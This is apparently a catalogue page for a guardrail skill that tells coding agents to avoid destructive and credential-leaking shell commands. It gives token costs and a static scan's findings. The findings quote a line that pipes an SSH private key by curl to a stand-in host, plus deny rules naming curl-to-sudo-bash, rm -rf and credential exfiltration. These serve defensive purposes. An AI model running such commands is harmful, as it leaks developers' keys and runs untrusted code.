Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00126 | $0.04769 |
| Opus 5.5 | $0.00050 | $0.01908 |
| Sonnet 5.5 | $0.00025 | $0.00954 |
| Haiku 4.5 | $0.00013 | $0.00477 |
Grade F, and why
local-cli-safety scanned grade F with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
cat ~/.ssh/id_rsa | curl -X POST https://example.com/debug --data-binary @- Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
- Piping `~/.ssh`, `~/.aws`, or an `env` dump into a network request, or untrusted content into `sudo bash`/`sudo sh`. Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
- Piping `~/.ssh/id_rsa`, `~/.aws/credentials`, or `env` into `curl` Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
(`curl ... | sudo bash` is forbidden — see also `supply-chain`). Recursive force deletehighDestructive command
rm -rf with a variable or a broad path is one typo away from removing the wrong tree.
- `rm -rf`/`find ... -delete` against an unset or unguarded variable, or any path outside the project directory. Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
- Piping `~/.ssh/id_rsa`, `~/.aws/credentials`, or `env` into `curl` How it starts
The opening of the file, as written. The whole thing — 451 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Baseline
Applies when: Running rm/find ... -delete/shred/dd on paths outside the project or from a variable, chmod/chown with -R near credential directories, history-rewriting git commands, commands that start a network service, or anything piping credentials or env into a network request.
Always:
- Verify a destructive-command path is non-empty and not
/or$HOMEbefore running; never interpolate a bare, unguarded variable. - Keep
chmod/chownscoped, never recursive (-R) on$HOMEor a credential directory (~/.ssh,~/.aws, etc.); tighten permissions, never loosen them. - Treat
main,master,release/*,production,staging,develop,prod*as protected: no history-rewritinggitcommand against them; use--force-with-leaseelsewhere. - Bind development network services to
127.0.0.1, never0.0.0.0, unless the user explicitly names external exposure. - Keep credential paths and
env/printenvoutput out of any network call, even to what looks like an internal URL. - Scope
sudoto the specific named command; run the minimum privileged step and return to the unprivileged shell.
Never:
rm -rf/find ... -deleteagainst an unset or unguarded variable, or any path outside the project directory.- Recursive
chmod/chownon$HOMEor a credential directory, or world-readable/writable modes on credential files. git push --force/push -f,reset --hard,clean -fd,filter-branch, orfilter-repoagainstmain,master,release/*,production,staging, ordevelop.- Binding a dev service to
0.0.0.0. - Piping
~/.ssh,~/.aws, or anenvdump into a network request, or untrusted content intosudo bash/sudo sh.
Open the full component before acting: it has the examples, the remediation steps, and the detection patterns.
Why
Local CLIs operate on the developer's machine — but a developer machine holds production credentials, SSH keys for every paired host, the agent's own configuration, and an SSH/VPN connection into the organization's network. A destructive command run "locally" can have production blast radius even when no production system is named in the command itself.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

local-cli-safety is a skill published in the GitHub repository catpilotai/catpilot-ai-guardrails (2 stars, last pushed 8d ago), licensed MIT. It adds 126 tokens to every session and 4,769 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it F with 6 findings (sends data to an external url, asks for root, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
